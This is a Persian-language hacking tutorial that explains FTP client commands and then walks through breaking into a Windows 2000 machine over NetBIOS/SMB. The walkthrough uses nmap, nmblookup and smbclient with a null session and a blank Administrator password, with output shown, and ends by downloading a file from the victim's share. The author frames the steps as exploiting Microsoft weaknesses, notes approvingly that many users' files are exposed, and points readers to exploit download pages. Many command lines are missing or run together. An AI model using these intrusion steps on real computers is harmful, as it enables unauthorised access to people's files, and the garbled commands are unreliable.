۳- اگه بعد از غير فعال کردن، دوباره بخواهيد فعال کنيد، در مرحله آخر هر يک از روشهاي بالا، گزينهاي که مخالف گزينه ذکر شده در جدول است رو انتخاب کنيد، مثلا اگه در جدول Enabled را نوشتهايم، شما Disable را انتخاب کنيد.
- پورت ۲۱ چيست؟
پورت ۲۱ رو پورت ftp ميگن. ftp مخفف عبارت file transfer protocol است يعني پروتکل انتقال فايل. کاربرد اين پروتکل و اين پورت از زماني وجود داره که حتي وب (پورت ۸۰ ) هم چندان عمومي نشده بود. پس ميتونم بگم که يه پروتکل باستاني هستش. وقتي ميخواهيد با يک سرور از طريق اين پروتکل صحبت کنيد، بايد مطمئن بشين که سرويس مربوط به ftp روي اون کامپيوتر فعال باشه. به عبارت ديگه بايد يک ftp server روي اون کامپيوتر در حال اجرا باشه. حالا شما با اون کامپيوتر ميخواين ارتباط برقرار کنين، پس شما بايد از يک ftp client استفاده کنيد. پس شما کلاينت هستيد و دستگاه مقابل سرور!
حالا شايد بپرسين که کار ftp چيست؟
ftp براي انتقال فايل به کار ميره و اين انتقال فايل در دو جهت ممکنه که upload و download گفته ميشه. براي اينکه اينها رو قاطي نکنيد با هم فرض کنيد که کامپيوتر سرور بالای سر شما قرار گرفته، پس وقتي فايل رو از اون ميگيريد، فايل به سمت پايين ميآد (download) و وقتي فايل رو براي سرور ميفرستيد، حالت برعکس ميباشد و بهش ميگيم، upload کردن. و هر دو عبارت نوعي انتقال فايل محسوب ميشه. دقت کنيد که انتقال فايل از طريق پروتکلهاي ديگهاي هم امکانپذيره مثل web و ... ولي ما بحثمون همين پروتکل ftp است.
عبارت ديگهاي که راجع به اين پورت بايد ياد بگيريد، عبارت anonymous است. براي توضيح اين عبارت اول بايد بگم که وقتي شما ميخواهيد با سرور ارتباط برقرار کنيد، همينطوري کشکي که نيس! براي ارتباط با سرور از شما username و password پرسيده ميشه و اگه درست باشه ميتونين فايلها رو upload و download کنيد و تغيير بديد ( پس ميبينيد که اين پروتکل پروتکل حساسي است و اگه هک بشه خيلي کارها ميشه باهاش کرد). اين حالت که گفتم در حالتي ممکنه که شما username و password داشته باشيد. اما گاهي پيش ميآد که username و password نداريم و ميخوايم با پورت ftp يک سرور يا سايت ارتباط برقرار کنيم. در اين حالت معمولا فقط اجازه download به ما داده ميشه و اجازه upload و يا اعمال تغييرات در فايلها رو نداريم و اونو حالت anonymous يا ناشناس ميگن. در اين حالت وقتي از ما username خواسته ميشه، عبارت anonymous را تايپ ميکنيم و بعد که پسورد پرسيده ميشه، شما بايد E-mail تون رو وارد کنيد، ولي من ميگم که به جاي E-mail واقعي تون يه E-mail الکي بنويسين مثلاalaki@dolaki.com !!
آدرسي که براي ftp با يه سرور استفاده ميکنيم به چه شکلي است؟
آدرسي که استفاده ميکنيم بستگي به سرور داره ولي معمولا ساختار ثابتي داره. ( اگه يادتون باشه واسه web مثلا مينوشتيم، www.far30.com ) حالا براي ftp مينويسيم، ftp.far30.com پس مثلا براي سايت sazin.com مينويسيم، ftp.sazin.com که آدرس ftp سايت ميشه.
- چطوري يه سرور پيدا کنم که سرويس ftp روي اون فعال باشه؟
اين سوال دو حالت داره:
۱- ميخواهيد به صورت anonymous وارد بشين يعني username و password ندارين. براي اين حالت ميتونين از خيلي از سايتها استفاده کنيد. مثلا ميتونين از ftp.microsoft.com استفاده کنيد يا سايتهاي ديگه.
۲- اگه ميخوايد به صورت غير anonymous کار کنيد، حيطه عملتون محدود به سايتهايي ميشه که username و password واسه اون دارين. مثلا اگه شما سايتي روي اينترنت داشته باشيد ( چه سايت پولي و چه سايت مجاني مثلا در netfirms و geocities و ... ) به شما يک آدرس ftp و يک username و password تعلق ميگيره که از طريق اون کار ميکنيد. اگه سايت نداريد، ميتونيد يک سايت مجاني درست کنيد. مثلا ميتونيد از سايت geocities.com که متعلق به ياهو است استفاده کنيد. يا از سايتهای netfirms.com يا freeservers.com و... ولي بههر حال در يکي از اينها ثبتنام کنيد و username و password بگيريد. آدرسهاي ftp آنها هم که بهصورت ftp.geocities.com يا ftp.netfirms.com و... خواهد بود. (از من نخواين که طريقه ثبتنام در اين سايتها رو هم به شما ياد بدم! کار خيلي راحتيه.)
- با پورت ۲۱ صحبت کنيم
فرض کنيد من از يک سايت فرضي استفاده ميکنم که آدرس ftp اون باشه: ftp.somesite.com و username من باشه ali1000 و پسوردم هم يه چيزه ديگه باشه. حالا ميخوام از طريق پورت ۲۱ با اين سايت ارتباط برقرار کنم. در مورد اين پورت ديگه از nc و telnet استفاده نميکنم، بلکه از برنامهاي که در تمام ويندوزها هست، به اسم ftp کمک ميگيرم. در command prompt مينويسم:
ftp.somesite.comو جواب ميشنوم:
Connected to somesite.com.220 somesite Microsoft FTP Service (Version 5.0).User (somesite.comnone)): دقت کنيد که اين سايت ftp server اش از نوع Microsoft است، پس اين سرور از سيستمعامل ويندوز استفاده ميکنه ( دونستن اين نکات لازم نيست، ولي من توصيه ميکنم که هميشه به جزئيات توجه کنيد) دقت کنيد که از من username رو ميخواد، پس مينويسم: ali1000 و Enter رو فشار ميدم. جواب ميآد:
331 Password required for ali1000.Password:حالا ازم پسورد ميخواد و پسورد رو تايپ ميکنم. جواب ميشنوم:
230 User ali1000 logged in.ftp>اين نشون ميده که تونستم با پورت ۲۱ کامپيوتر مقابل ارتباط برقرار کرده و اصطلاحا يک session يا نشست! باهاش داشته باشم. اگه username يا password اشتباه بود، اون موقع ميگفت:
530 User ali1000 cannot log in.Login failed.ftp>من فرض ميکنم که session با موفقيت برقرار شده، حالا تايپ ميکنم:
ftp> و جواب ميشنوم:
Commands may be abbreviated. Commands are:! literal send debug statusappend mdelete trace mdir typebell quote user glob recv verbose hash mls remotehelp open اينها ليست دستوراتي است که ميتونيد استفاده کنيد. من فقط اونهايي که به صورت bold مشخص کردم رو توضيح خواهم داد. بقيه دستورات کمتر به کار ميرن.
- دستورات پايه براي اين پورت کدامند؟
+ دستور و
دستور help رو همين الان استفاده کرديم. دستور � هم معادل اونه.
+ دستور و
اين دو دستور نشون ميدن که در محل فعلي در سرور چه فايلها و فولدر (دايرکتوری) هايي وجود دارد. فرقشون اينه که وقتي از dir استفاده ميکنيد، اطلاعات بيشتري علاوه بر نام فايلها و فولدرها به ما ميده. من نوشتم و جواب شنيدم:
200 PORT command successful.150 Opening ASCII mode data connection for /bin/ls.12-28-02 02:18AM db12-28-02 02:19AM Special03-08-03 03:18AM www226 Transfer complete.ftp: 135 bytes received in 0.02Seconds 6.75Kbytes/sec.ملاحظه ميفرماييد که سه تا فولدر (دايرکتوري) اينجا هست. (اگه با دستور dir آشنا نيستيد، يک کتاب داس بخونيد). اينها فولدر هستند چون عبارت < DIR> جلوي اونها نوشته شده است. نام اين فولدرها عبارتند از db و special و www
+ دستورات مرتبط با کار روي فولدرهايي که روي سرور (نه روي کامپيوتر خودمون) هستند، عبارنتد از:
==> اين دستور براي وارد شدن داخل يک فولدر به کار ميره.
==> اين دستور براي ساختن يک فولدر جديد به کار ميره.
==> اين دستور براي پاک کردن يک فولدر موجود به کار ميره (به شرطي که آن فولدر خالي باشد)
براي کار با هر کدوم از اين دستورات کافي است، دستور مورد نظر را نوشته و بعد از يک کاراکتر فاصله، نام فولدر را بنويسيد، مثلا اگه بخوام وارد فولدر www بشم، مينويسم:
wwwو جواب ميشنوم:
250 CWD command successful.ftp>اين جواب به آن معني است که وارد فولدر (دايرکتوري) www شدهام. حالا دوباره دستور dir را استفاده ميکنم و جواب ميگيرم:
200 PORT command successful.150 Opening ASCII mode data connection for /bin/ls.12-28-02 02:18AM < DIR> 02-17-03 04:15PM 61982 12-28-02 02:19AM < DIR> 12-28-02 02:19AM < DIR> 12-29-02 06:27PM 11285 12-28-02 02:19AM < DIR> 12-28-02 02:18AM 2494 226 Transfer complete.ftp: 1438 bytes received in 0.28Seconds 5.12Kbytes/sec.ftp>ملاحظه ميکنيد که سه تا فايل و سه تا دايرکتوري داريم. اونهايي که جلوشون نوشته < DIR> دايرکتوري هستند و اونايي که اين عبارت رو ندارند و جلوشون يه عدد نوشته شده ( که بيانگر حجم هر کدومشون هست ) فايل ميباشند.
در مورد دستور cd اگه بنويسم به فولدر قبلي بر ميگرديم، مثلا الان که تو فولدر www هستيم اگه .. cd رو بنويسم، يک فولدر به عقب برميگردم ( به حالت قبل از ورود به www )
يه دستور ديگه هم راجع به فولدرها هست و اونم دستور است. اين دستور نشون ميده که ما الان تو کدوم فولدر از فولدرهاي سرور هستيم.
+ دستورات مرتبط با فايلها عبارنتد از:
==> اين دستور براي پاک کردن يک فايل به کار ميره.
==> اين دستور براي عوض کردن نام يک فايل به کار ميره.
مثلا اگه بخوام فايل default.asp رو پاک کنم، مينويسم
اگه بخوام فايل default.asp رو به index.htm تغيير نام بدم، مينويسم
+ دستورات مرتبط با فولدرهاي کامپيوتر خودمان:
اول دقت کنيد که در مورد پورت ۲۱ وقتي ميگوييم در کدام فولدر قرار داريم، اين مسئله دو معني داره. حالت اول محل فعلي ما روی سرور است. يعني کجاي سرور هستيم. تمام دستوراتي که راجع به فولدرها گفتم براي کار روي فولدرهاي سرور است. حالت دوم محل فعلي ما در کامپيوتر خودمون است. فرض کنيد که وارد فولدري در کامپيوتر سرور شدهايم والان ميخوايم فايل را داونلود کنيم به کامپيوتر خودمون. براي اينکه فايل به فولدر درستي در کامپيوتر خودمون منتقل بشه، بايد وارد يک فولدر خاص در کامپيوترمان بشيم. دستور مرتبط با اون دستور است. مثلا اگه بخوام وارد فولدر araz از درايو :C بشم، مينويسم:
c:/araz
- دستورات اصلي (upload و download فايل) کدامند؟
قبل از اينکه اين دستورات رو بگم، انواع فايل رو بگم:
==> فايلهاي ascii : فايلهايي که حالت متني دارند، مثل فايلهاي txt و html و asp و php و rtf و ...
==> فايلهاي binary : فايلهايي که متني نيستند، مثل فايلهاي گرافيکي، مولتيمديا، database ، doc و ...
وقتي ميخواهيم فايل رو داونلود يا upload کنيم، بايد قبل از انتقال فايل نوع اون رو تنظيم کنيم. دو تا دستور براي اينکار داريم:
+ دستور: يعني ميخواهيم به صورت اسکي عمل انتقال انجام شود.
+ دستور: يعني ميخواهيم به صورت باينري عمل انتقال انجام شود.
+دستور : وقتي تعداد زيادي فايل رو قرار باشه منتقل کنيم، و از دستور مربوط به upload يا download استفاده ميکنيم، هر بار که فايلي ميخواهد منتقل شود، از ما سوال ميکند که آيا ميخواهيد اين فايل منتقل شود يا نه. فرض کنيد که ميخواهيد مثلا ۱۰۰ فايل رو منتقل کنيد، در اين موارد ۱۰۰ بار از شما اين سوال پرسيده ميشود. براي اينکه اين حالت رو غير فعال کنيم، مينويسيم prompt تا غيرفعال شود، اگه يه بار ديگه همين دستور رو بنويسيم، دوباره فعال ميشه و قسعليهذا !
+ دستورهاي مربوط به upload فايل:
دستور : اين دستور يک فايل رو از کامپيوتر ما به سرور منتقل ميکنه (از فولدر فعلي کامپيوتر ما به فولدر فعلي کامپيوتر سرور). مثلا اگه بخوام فايلي به اسم ali.jpg رو upload کنم، اگه در حالت ascii باشم، اول بايد به حالت binary تغيير حالت بدم و بعد بنويسم:
ali.jpgو جواب ميشنوم:
200 PORT command successful.150 Opening BINARY mode data connection for ali.jpg.226 Transfer complete.ftp: 21010 bytes sent in 0.02Seconds 1050.50Kbytes/sec.ftp>دستور : اين دستور چند فايل رو upload ميکند، مثلا اگه بخوام همه فايلهاي htm که اسمشون با کاراکتر s شروع ميشه رو منتقل کنم، ميتويسم (البته بايد قبلش به حالت ascii تغيير حالت داده باشم):
s*.htm+ دستورهاي مربوط به download فايل:
دستور : اين دستور يک فايل رو از سرور به کامپيوتر ما منتقل ميکنه (از فولدر فعلي سرور ما به فولدر فعلي کامپيوتر ما). مثلا اگه بخوام فايلي به اسم default.asp رو download کنم، مينويسم:
default.aspدستور : اين دستور چند فايل رو download ميکند، مثلا اگه بخوام همه فايلهاي htm که اسمشون با کاراکتر s شروع ميشه رو منتقل کنم، ميتويسم:
s*.htm
- چگونه کار را خاتمه دهيم؟
+ اول بايد session را خاتمه دهيم. براي اينکار ميتونيد از يکي از دو دستور يا استفاده کنيم.
+ بعد، براي خروج از ftp بايد از يکي از دو دستور يا استفاده کنيم.
- حالت anonymous چه فرقي با حالت بالا دارد؟
هيچ فرقي در روش کانکت شدن، ندارد. تنها فرق در username و password است که به ترتيب، anonymous و e-mail رو استفاده ميکنيم. و نيز همونطور که قبلا گقتم بعد از کانکشن به صورت anonymous اجازه upload يا اعمال تغييرات روي server رو نداريم.
- چه نرمافزارهاي گرافيکي براي کار کار با ftp وجود دارد؟
نرمافزارهاي گرافيکي زيادي براي اينکار وجود دارند، مثل fetch براي کامپيوترهاي Macintosh و نرمافزارهاي WS_FTP و CuteFtp و WinFTP و... براي ويندوز که هيچکدوم مفت نميارزند!!
- راحتترين روش کار با اين پورت به نظر شما چيست؟
راحتترين روش ممکن، استفاده از web browser کامپيوترتون مثل internet explorer است! در اين حالت دقيقا مثل اين است که داريد با فولدرهاي کامپيوتر خودتون کار مي کنيد. ميتونيد براي download فايل رو فايل مورد نظر دابلکليک کنيد و براي upload ميتونيد فايل رو از بيرون به مرورگر drag & drop يا copy & paste کنيد!
+ اگه بخواين به صورت anonymous مثلا به سايت microsoft وارد شويد، کافي است در مرورگر بنويسيد: ftp.microsoft.com و Enter را فشار دهيد.
+ اگه بخواين به صورت غير anonymous مثلا به سايت ftp.somesite.com که username شما براي آن سايت ali1000 است وارد شويد، در مرورگر مينويسيد:ali1000ftp.microsoft.com و Enter را فشار ميدهيد. در اين حالت، پنجرهاي باز شده و از شما پسورد ميخواهد و شما پسورد را نوشته و بعد از تاييد، وارد پورت ۲۱ اون کامپيوتر ميشين.
- Samba چيست؟
احتمالا ميدونيد که Netbios پرتکل معروف مايکروسافت براي ارتباط ويندوز ها با هم و احتمالا Share کردن پرينتر يا فايله. همچنين وقتي که بحث نفوذ به Client و بر بعضي مواقع Server ها پيش مياد، Netbios يکي از اولين انتخاب هاست. ما در اين مقاله سعي ميکنيم از اين ضعف سيستم عاملهاي مايکروسافت سوءاستفاده کنيم.
سيستم عاملهاي بر پاييه يونيکس مثل لينوکس براي Share کردن فايلها و پرينتر ها از طريق Netbios از پرتکل Smb/Cifs که توسط برنامه Samba باز ميشه استفاده ميکنن و از اين طريق لينوکس ميتونه Share هاي کامپيوتر هاي ويندوز رو Mount کنه. (اگه کاربر لينوکس هستيد، نميتونيد روشهايي که در درس قبلي براي ويندوز ذکر شده استفاده کنيد، بلکه بايد از Samba بهره گيريد. اما طرف مقابل که قرار است هک بشه، سيستمعاملش رو فرض ميکنيم که ويندوزه. پس ما ميخوايم با لينوکس يک سيستمعامل ويندوز را که ۱۳۹ باز داره، هک کنيم) بي شک Netbios عمومي ترين مشکل امنيتي ويندوزه که استفاده ازش چندان مشکل نيست.
خب ! همون طور که گفتم ما براي اين کار از Samba استفاده ميکنيم. من اينجا چيزي در مورد Samba نمينويسم و بنا کار رو بر اين ميگذارم که تا حدودي ميتونيد با Samba کار کنيد . اگر احتمالا مشکلي داريد ميتونيد به Samba.org سر بزنيد و در Documention ها دنبال راهنما باشيد به طور کل اگر نميدونيد چطور از Samba استفاده کنيد بهتره که کاري با کامپيوتر هاي مردم نداشته باشيد !
- چگونه با پورت ۱۳۹ صحبت کنيم؟
۱- اولين قدم پيدا کردن کامپيوتريه که پرت 139 و 137 که پرت Netbios هست رو باز کرده باشه. براي اينکار از Nmap استفاده ميکنيم. Nmap معمولا رو همه Description هاي فعلي پيدا ميشه. ميخوام به کمک Nmap تست کنم که از ip شماره 192.168.3.50 تا 192.168.3.1 کدامها پورت ۱۳۹ باز دارند. براي اين کار مينويسم:
192.168.3.1-50 و جواب ميشنوم:
st 1 open and 1 closed TCP portInteresting ports on (192.168.3.2):Port State Service139/tcp open netbios-ssnRemote OS guesses: Windows Millennium Edition (Me), Win 2000,
or WinXP, MS Windows2000 Professional RC1/W2K Advance Server Beta3بايد اينو بهتون بگم که من دارم اين کار رو روي Lan انجام ميدم و همه Ip ها Static هستند. ولي خب کار رو جوري در نظر ميگيرم که گويا نميدونم چه Host هاي اينجا وجود دارن 192.168.3.1 يک SuSE 8 هست که کار رو از طريقش انجام ميديم و 192.168.3.2 يک win2kpro sp2 هست که قربانيه و البته FireWall نداره من اينجا از آيپي هاي کلاس C استفاده ميکنم ممکنه وضع شما تو اينترنت فرق کنه، ولي خب نحوه کار تغيير نميکنه. حالا هدف رو پيدا کرديم، هدف ما 192.168.3.2 هست .
۲- قدم دوم گرفتن NetbiosName هاي هدفه. بدون اين اسمها ما نميتونيم هيچ جور اطلاعاتي از هدف بگيريم. از اونجايي که مايکروسافت سعي کرده همه کارها رو ساده کنه، ويندوز هاي رو شبکه Netbios به جاي Ip Address از اسم استفاده ميکنن!! خب اينجا لازمه از يه Netbios Scanner يا Share Scanner استفاده کنيم. معمولا رو هر Description يي دستور nmblookup پيدا ميشه - که خيلي شبيه nbtstat ويندوزه - رو لينوکس کار ميکنه. من شخصا خيلي از nmblookup خوشم نمياد چون Share Scanner هاي بسيار بهتري هستن ! به هر صورت من اينجا از nmblookup استفاده ميکنم . شکل کلي دستور اينه : nmblookup –A . اين flag ه A باعث ميشه که nmblookup بتونه Query بهتري انجام بده . حالا رو هدفهوم امتحان ميکنيم :
192.168.3.2و جواب ميگيرم:
Looking up status of 192.168.3.2 ARMINLAPTOP <00> - B < ACTIVE> WORKGROUP <00> - < GROUP> B < ACTIVE> ARMINLAPTOP <03> - B < ACTIVE> ARMINLAPTOP <20> - B < ACTIVE> WORKGROUP <1e> - < GROUP> B < ACTIVE> ADMINISTRATOR <03> - B < ACTIVE> WORKGROUP <1d> - B < ACTIVE> ..__MSBROWSE__. <01> - < GROUP> B < ACTIVE>همه چيز مشخصه نه ؟ اسم کامپيوتر ARMINLAPTOP , گروه کامپيوتر WORKGROUP و کاربر فعال Administrator هست
۳- بگذارين قبل از قسمت سوم کار يکمي در مورد ويندوز ها صحبت کنيم. Netbios به طور کلي روي همه ويندوز ها به نوعي خطر ايجاد ميکنه. رو ويندوز هاي سري 2000 به بالا همه پارتيشن هاي سيستم Share شده اند و با پسوردي که Administrator دارد، باز ميشن. خيلي از کاربران تازه کار هم پسورد Administrator رو خالي ميگذارن. به نظر من اين سري ويندوز ها بيشتر در خطر هستند. رو ويندوز هاي 9x هيچ فايلي به طور Default Share نشده، ولي خوب اگر بشه ممکنه بتونيم از طريقش بدون پسورد وارد فايل سيستم بشيم حتي اگر پسورد Administrator رو هم نداشته باشيم Anonymous Login ميتونه اطلاعات خيلي مفيدي بهموم بده حالا ميخواهيم ليست Share ها رو بدست بياوريم . ( در درس قبلي براي ويندوز از دستور net view براي همينکار استفاده کرديم) توجه کنيد که کرنل بايد Network File System و Samba File System رو ساپرت کرده باشه : در اين مثال در نظر گرفتم که پسورد Administrator خاليه ! مينويسم:
administrator ARMINLAPTOP 192.168.3.2نتيجه دستور به صورت زير است:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Passwordomain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- ------- IPC$ IPC Remote IPC D$ Disk Default share ADMIN$ Disk Remote Admin C$ Disk Default share Disk Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب ميبينيد ؟ هر دو پارتيشن ARMINLAPTOP در اختيار شماست ! همچنين کامپيوتر هايي که باهاش در ارتباط هستند رو هم ميبينيم. در اين مثال ملاحظه ميفرماييد که Armin به عنوان Disk بهاشتراک گذاشته شده. خب قبل از اينکه بريم سراغ بقيه کار يک بار هم Anonymous رو امتحان ميکنيم ( يه چيزي مثل Null Session ):
ARMINLAPTOP 192.168.3.2و جواب:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Password:Anonymous login successfulDomain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager] Sharename Type Comment --------- ---- -------Error returning browse list: NT_STATUS_ACCESS_DENIED Server Comment --------- ------- ARMINDESKTOP Samba 2.2.3a ARMINLAPTOP Workgroup Master --------- ------- WORKGROUP ARMINLAPTOPخب باز هم يه اطلاعاتي پيدا ميکنيم ! با اينکه فايلهاي Share شده رو نميبينيم، به هر صورت از هيچي بهتره ! شايد يه جاي ديگه به درد بخوره !
۴- خب حالا سعي ميکنيم که اين Share هارو Mount کنيم. مينويسيم:
ARMINLAPTOP/Armin 192.168.3.2و جواب ميشنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Password:session setup failed: NT_STATUS_LOGON_FAILUREخب ! Share توسط Password محافظت ميشه ! کار زيادي نميتونيم انجام بديم. مثلا ميتونيم همين Null پسورد رو امتحان کنم، ولي خب اگر با Win9x طرف باشيم کاري نميشه کرد . حالا رو ويندوز 2000 به بالا کار ميکنيم. روي اينکه کاربر ناشي باشه و پسورد Administrator رو خالي گذاشته باشه خيلي حساب کرديم :
ARMINLAPTOP/Armin 192.168.3.2 administratorو جواب ميشنوم:
added interface ip=192.168.3.1 bcast=192.168.3.255 nmask=255.255.255.0Passwordomain=[WORKGROUP] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]smb: \> اين </: smb مثل خط فرمان ميمونه و ميتونين دستورات رو تايپ کنيد براش. کار تمومه! هر کاري که دوست داشته باشين ميتونين با اين راه رو هر Share اي انجام بديد مثلا مينويسم:
smb: \> و جواب ميشنوم:
. DA 0 Sat Feb 8 0511 2003 .. DA 0 Sat Feb 8 0511 2003 Blcorp D 0 Sat Feb 8 03:05:51 2003 47943 blocks of size 65536. 8261 blocks availableو ادامه ميدم به صورت زير:
smb: \> smb: \Blcorp\> . D 0 Sat Feb 8 03:05:51 2003 .. D 0 Sat Feb 8 03:05:51 2003 WLTrial.exe A 2321412 Mon Apr 29 1458 2002 47943 blocks of size 65536. 8261 blocks availablesmb: \Blcorp\> get WLTrial.exegetting file WLTrial.exe of size 2321412 as WLTrial.exe (892.2 kb/s) ...smb: \Blcorp\>شما ميتونيد از دستور Pull براي فرستادن فايل و get براي گرفتن فايل استفاده کنيد فايلها گرفته شده در دايرکتوري فعلي شما ذخيره ميشوند . قسمت اميدوار کننده کار اينه که خيلي از مردم از ويندوز استفاده ميکنن و اکثرشون حتي نميدونن که همه فايل سيستم هاشون بدون پسورد به راحتي قابل دسترسه. خب ما هم اينهارو ياد نميگيريم که دور دنيا بچرخيم و فايلهاي مردم رو پاک کنيم !
- FAQ
- آيا Samba به نا امني Netbios ويندوز است ؟
نه اصلا ! Samba يک برنامه پرقدرته , اگر خوب Config شه احتمال هک شدنش بسيار پايينه ! فرض کنيد از طريق سيستمعامل ويندوز ميخوام اين کامپيوتري که Samba داره رو هک کنم. دستور تايپ شده و جواب بدست اومده بيانگر امنيت Samba ست:
C:\>nbtstat -A 192.168.3.1Local Area Connection 2:Node IpAddress: [192.168.3.2] Scope Id: []
- Vulnerability چيست؟
Vulnerability يا بهصورت مختصر vul را در فارسي حفره يا سوراخ امنيتي ميگيم. اين عبارت رو بايد يه کم توضيح بدم. فرض کنيد که يه نرمافزار داريم که يه پورتي رو باز ميکنه. وقتي اين نرمافزار قرار هست که منتشر بشه، شرکت سازنده يه سري تست رو نرمافزار انجام ميده که مشکلي نداشته باشه. بعد که اطمينان نسبي خاصل شد، نرمافزار ارائه ميشود و سرورها و کلاينتها از اون نرمافزار و از اون ورژن خاص شروع به استفاده ميکنن. بعد از اينکه نرمافزار منتشر شد، گروههاي مختلفي که در سراسر جهان هستند و کارشان تست امنيتي اين نرمافزارهاست شروع به فعاليت ميکنند. اين گروهها هر چند وقت يک بار موفق به يافتن نقاط ضعفي در اين برنامهها ميشوند و اونو گزارش ميکنن. سايتهايي هستند که کارشون بهطور عمده گزارش جديدترين vul هاي کشف شده است. مثلا ممکنه در سايتهايي مثل securitytracker.com يا securityfocus.com و ... به عبارتي مثل : A vulnerability was reported in ... برخورد کرده باشيد. اين بيان ميکنه که يه vul جديد کشف شده است. دقت کنيد که اين vul از وقتي نرمافزار طراحي شده با اون بوده ولي کسي از اون خبر نداشته تا وقتي که اين گزارش منتشر بشه! پس اين گروهها کارشون کشف باگ هستش نه اختراع باگ!
همچين نرمافزاريي رو vulnerable ميگن. يعني قابل نفوذ.
اين vul ها انواع مختلفي دارند و ميشه اونا رو catagorize (طبقهبندي) کرد. اين بحث رو بعدا بهطور کامل مطرح ميکنم. عجالتا بهتره کمي هم راجع به exploit صحبت کنم:
- exploit چيست؟
فرض کنيد که يکي مياد و يه باگ رو کشف ميکنه. اين کشف vul معمولا فقط در حد يک گزارش ميمونه تا اينکه يکي همت کنه و روشي براي exploit کردن اون vul درست کنه. پس vul جنبه تئوري قضيه است و exploit قسمت عملي اون. exploit ميتونه يه کد (معمولا به زبانهاي سي و پرل ) يا يه دستورالعمل يا يه url و ... باشه. وقتي شما مطمئن ميشين که فلان سرور از فلان ورژن فلان نرمافزار استفاده ميکنه که اون نرمافزار فلان vul رو داره، يا بايد exploit بسازيد و يا اينکه يه exploit واسه اون از اينترنت پيدا کنيد.
نتيجه اينه که ممکنه يه vul کشف شده باشه ولي exploit واسه اون نباشه. حتي من ديدم که سايتهاي مطرحي مثل Cert ميان و قلم فرسايي ميکنن که فلان vul قابل exploit کردن نيست ولي بعد exploit نوشته ميشه و اينا ضايع ميشن!! البته بگذريم که نمونههايي از vul ها رو داريم که هرگز براش exploit نوشته نشده باشه.
- vul ها رو چگونه نامگذاري ميکنند؟
اولين نکتهاي که بايد بگم، اينه که براي هر Vulnerability يک شماره يا يک نام نسبت ميدن. اين شماره يا نام در واقع يک استانداردي است که به هکرها و متخصصين امنيت شبکه اجازه ميده که حرف همديگرو بفهمن! مثلا ممکنه جايي ببينيد که راجع به NT IIS Unicode Vulnerability صحبت ميکنند يا راجع به CVE شماره CVE-2000-0884 يا BID شماره 1806 بحث ميکنند. دقت کنيد که همه اينها معادل هم هستند. پس براي يک vul خاص ممکن است شمارهها يا عبارتهاي معادلي باشد.
۱- CVE اولين جايي است که بايد ببينيد:
فرض کنيد که شما متوجه شدهايد که سروري داراي يک vul به شماره CVE-2000-0508 داشته باشد (اينکه چطوري ميشه فهميد يه سرور چه vul هايي داره بعدا بحث خواهم کرد). براي CVE از يکي از آدرسهاي زير استفاده کنيد: xxxxxxxxxxxxxxxxxxxکه به جاي xxxxxxxxx بايد شماره CVE رو بنويسيد مثلا CVE-2000-0508 يا مثلا CAN-2002-0651 و...
وقتي به اين آدرسها رجوع کنيد ميبينيد که يه سري نامها و شماره معادل براي اين CVE ذکر شده است. به عبارت ديگه واسه اينکه در مورد يک vul مطالبي بياموزيد، اولين کاري که ميکنيد رجوع به يکي از دو سايت بالاست. بعد از رجوع به آنها ميتونيد لينکهايي را استخراج کنيد که به شما اجازه ميدن، راجع به اون vul مطالبي رو بياموزيد.
فرض کنيد که يک vul رو که CVE اونو ميدونيد در يکي از اين سايتها داريد ميخونيد، ملاحظه خواهيد کرد که براي اين CVE بعد از يک توضيح مختصر يک سري اسم و شماره ذکر شده است. اين اسامي ممکن است، BID يا XF يا ... باشد. در واقع براي اينکه در مورد اين vul خاص نکاتي را ياد بگيريد، علاوه بر توضيحات مختصز بالاي صفحه بايد تک تک اين مطالبي که بهشون ارجاع داده شدين، مثل BID مربوطه، XF مربوطه و ... را بخونين. حالا اگه اونحا نوشته باشه: BID: 1806از کجا بايد اونو خوند؟ (يعني لينک مستقيمش چي هست؟) همين پايين مهمترهاشو ميگم (دقت کنيد که همه اون اسمها معادل هم هستند فقط سايتهاي مختلف اسمهاي مختلفي را واسه يه vul انتخاب ميکنند و ما ميخواهيم تمام مطالب مرتبط با يه vul خاص رو از سايتهاي مختلف پيدا کنيم )
۲- BID يا BugTraq ID يا همون نفس من بيده! :
فرض کنيد که صفحه مربوط به CVE خاص رو خوندم و اونجا به عبارت BID: 1806 برخوردم. حالا اونو از کجا بخونم؟ از اينجا : xxxxکه به جاي xxxx بايد يک عدد بنويسيد (همان عدد مربوز به BID ) مثلا به جاي xxxx بنويسيد: 1806
اگه بخوام بهترين محل يادگيري راجع به vul ها رو ذکر کنم، جايي بهتر از www.securityfocus.com واسه اين کار وجود نداره. دقت کنيد وقتي که صفحه مربوط به يک BID خاص رو در اين سايت ميبينيد، يک سري لينک به اسمهاي info و discussion و exploit و solution را هم بخونين که جنبههاي مختلف اون vul خاص است. مخصوصا قسمت exploit که جايي است که جوجههکرها ميتونن با اون حسابي حال کنن! به عبارت ديگه جاييه که واسه اون vul خاص exploit داونلود کنيد. خيلي از ابزارهاي هک که تبليغ ميشن، در واقع با تغييرات کمي از همين exploit ها بدست ميآن!!
۳- XF :
XF استاندارد سايت iss.net براي vul هاست. XF به صورت يک نام (نه عدد) نامگذاري ميشوند و اونو بايد در صفحه زبر بخونين:که وقتي در اين صفحه search کنيد، يک سري صفحات static بدست مياد که بايد بخونين.
۴- CA يا CERT:
سايت cert.org براي vul ها از اسم CA استفاده ميکند، مثل CA-2002-19 براي CA ها صفحه زير رو ببينيد:xxxxxxxxxبهجاي xxxxxxxxx مثلا مينويسيم: CA-2002-19
ضمنا دقت کنيد که وقتي مطالب مربوط به يک vul رو از سايت cert ميخونيد، ملاحظه ميکنيد که لينکهايي به صورت xxxxx در آن هست که به جاي xxxx يک عدد نوشته شده مثلا 369347 که اين VU# رو ميتونيد از اينجا بخونيد: xxxxxx۵- و …
- Vulnerability Scanner چيست؟
Vulnerability Scanner ابزاري است که به کمک اون ميشه کامپيوترهاي شبکه رو از نظر وجود سوراخهاي امنيتي تست کرد. vul scanner ها اين کار را به صورت اتوماتيک يا نيمهاتوماتيک انجام ميده.
